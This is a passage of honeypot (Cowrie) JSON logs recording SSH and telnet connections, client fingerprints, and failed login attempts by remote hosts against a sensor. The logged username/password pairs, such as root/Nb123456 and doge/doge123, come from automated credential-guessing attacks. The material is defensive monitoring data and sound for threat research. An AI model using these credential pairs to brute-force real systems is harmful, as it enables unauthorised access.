ha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:46.223312Z","src_ip":"103.187.165.26","session":"34b8b1f94e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q123456.","message":"login attempt [ubuntu/q123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:47.214996Z","src_ip":"103.187.165.26","session":"34b8b1f94e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:48.457050Z","src_ip":"103.187.165.26","session":"34b8b1f94e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.41234469413757,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:54.442678Z","src_ip":"170.64.224.25","session":"ba3177d9c6df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:57.622732Z","src_ip":"8.210.75.243","session":"5e14b8fa69f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":44412,"dst_ip":"10.17.0.5","dst_port":22,"session":"680f5dd79979","protocol":"ssh","message":"New connection: 165.22.184.88:44412 (10.17.0.5:22) [session: 680f5dd79979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:03.854386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:03.858566Z","src_ip":"165.22.184.88","session":"680f5dd79979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:03.862740Z","src_ip":"165.22.184.88","session":"680f5dd79979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rvnwallet","password":"ravencoin123","message":"login attempt [rvnwallet/ravencoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:03.877111Z","src_ip":"165.22.184.88","session":"680f5dd79979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:04.891676Z","src_ip":"165.22.184.88","session":"680f5dd79979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41254,"dst_ip":"10.17.0.5","dst_port":22,"session":"670ccef821b6","protocol":"ssh","message":"New connection: 8.210.75.243:41254 (10.17.0.5:22) [session: 670ccef821b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:22.810657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:24.326811Z","src_ip":"8.210.75.243","session":"670ccef821b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:25.793724Z","src_ip":"8.210.75.243","session":"670ccef821b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41476,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc0dad4c451b","protocol":"telnet","message":"New connection: 170.64.224.25:41476 (159.203.135.109:23) [session: bc0dad4c451b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:26.148554Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:44.737389Z","src_ip":"8.210.75.243","session":"206b5568817b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:53.504660Z","src_ip":"162.144.34.123","session":"8b94cb775d72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:55.370696Z","src_ip":"8.210.75.243","session":"b1588ad6a1f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":40232,"dst_ip":"159.203.135.109","dst_port":22,"session":"400586830819","protocol":"ssh","message":"New connection: 162.144.105.39:40232 (159.203.135.109:22) [session: 400586830819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:56.818074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:56.821488Z","src_ip":"162.144.105.39","session":"400586830819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:56.908296Z","src_ip":"162.144.105.39","session":"400586830819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge123","message":"login attempt [doge/doge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:37:57.155041Z","src_ip":"162.144.105.39","session":"400586830819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:00.226545Z","src_ip":"162.144.105.39","session":"400586830819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:01.174856Z","src_ip":"113.31.115.157","session":"8e10f0769213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38494,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9325412368d","protocol":"telnet","message":"New connection: 170.64.224.25:38494 (159.203.135.109:23) [session: f9325412368d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:06.775913Z"}
{"eventid":"cowrie.session.closed","duration":49.18742823600769,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:15.335916Z","src_ip":"170.64.224.25","session":"bc0dad4c451b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":41046,"dst_ip":"10.17.0.5","dst_port":22,"session":"4190e2a2331b","protocol":"ssh","message":"New connection: 101.47.159.50:41046 (10.17.0.5:22) [session: 4190e2a2331b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:21.112623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:21.116894Z","src_ip":"101.47.159.50","session":"4190e2a2331b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:21.362324Z","src_ip":"101.47.159.50","session":"4190e2a2331b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nb123456","message":"login attempt [root/Nb123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:22.379242Z","src_ip":"101.47.159.50","session":"4190e2a2331b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:23.060297Z","src_ip":"8.210.75.243","session":"dbc1a5ece9b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:23.627045Z","src_ip":"101.47.159.50","session":"4190e2a2331b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":35500,"dst_ip":"10.17.0.5","dst_port":22,"session":"062b3bf553a7","protocol":"ssh","message":"New connection: 192.169.249.148:35500 (10.17.0.5:22) [session: 062b3bf553a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:31.676042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:31.680277Z","src_ip":"192.169.249.148","session":"062b3bf553a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:31.745285Z","src_ip":"192.169.249.148","session":"062b3bf553a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Strk#Tr0ng!P@ss","message":"login attempt [root/Strk#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:31.940537Z","src_ip":"192.169.249.148","session":"062b3bf553a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:33.007102Z","src_ip":"192.169.249.148","session":"062b3bf553a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":60808,"dst_ip":"10.17.0.5","dst_port":22,"session":"80df739d6681","protocol":"ssh","message":"New connection: 2.57.122.209:60808 (10.17.0.5:22) [session: 80df739d6681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:33.574120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:34.041332Z","src_ip":"2.57.122.209","session":"80df739d6681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:34.044177Z","src_ip":"2.57.122.209","session":"80df739d6681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34230,"dst_ip":"10.17.0.5","dst_port":22,"session":"577275c92928","protocol":"ssh","message":"New connection: 91.92.40.4:34230 (10.17.0.5:22) [session: 577275c92928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:36.246464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:36.249488Z","src_ip":"91.92.40.4","session":"577275c92928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:36.330526Z","src_ip":"91.92.40.4","session":"577275c92928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test321","message":"login attempt [test/test321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:36.575780Z","src_ip":"91.92.40.4","session":"577275c92928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p4ssword","message":"login attempt [root/p4ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:37.044238Z","src_ip":"2.57.122.209","session":"80df739d6681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:37.659530Z","src_ip":"91.92.40.4","session":"577275c92928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:38.911496Z","src_ip":"2.57.122.209","session":"80df739d6681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:44.323560Z","src_ip":"8.210.75.243","session":"de983eda2f66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":51636,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3a03103a20e","protocol":"ssh","message":"New connection: 103.187.165.26:51636 (10.17.0.5:22) [session: f3a03103a20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:49.315524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:38:49.319110Z","src_ip":"103.187.165.26","session":"f3a03103a20e","protocol":"ssh"}
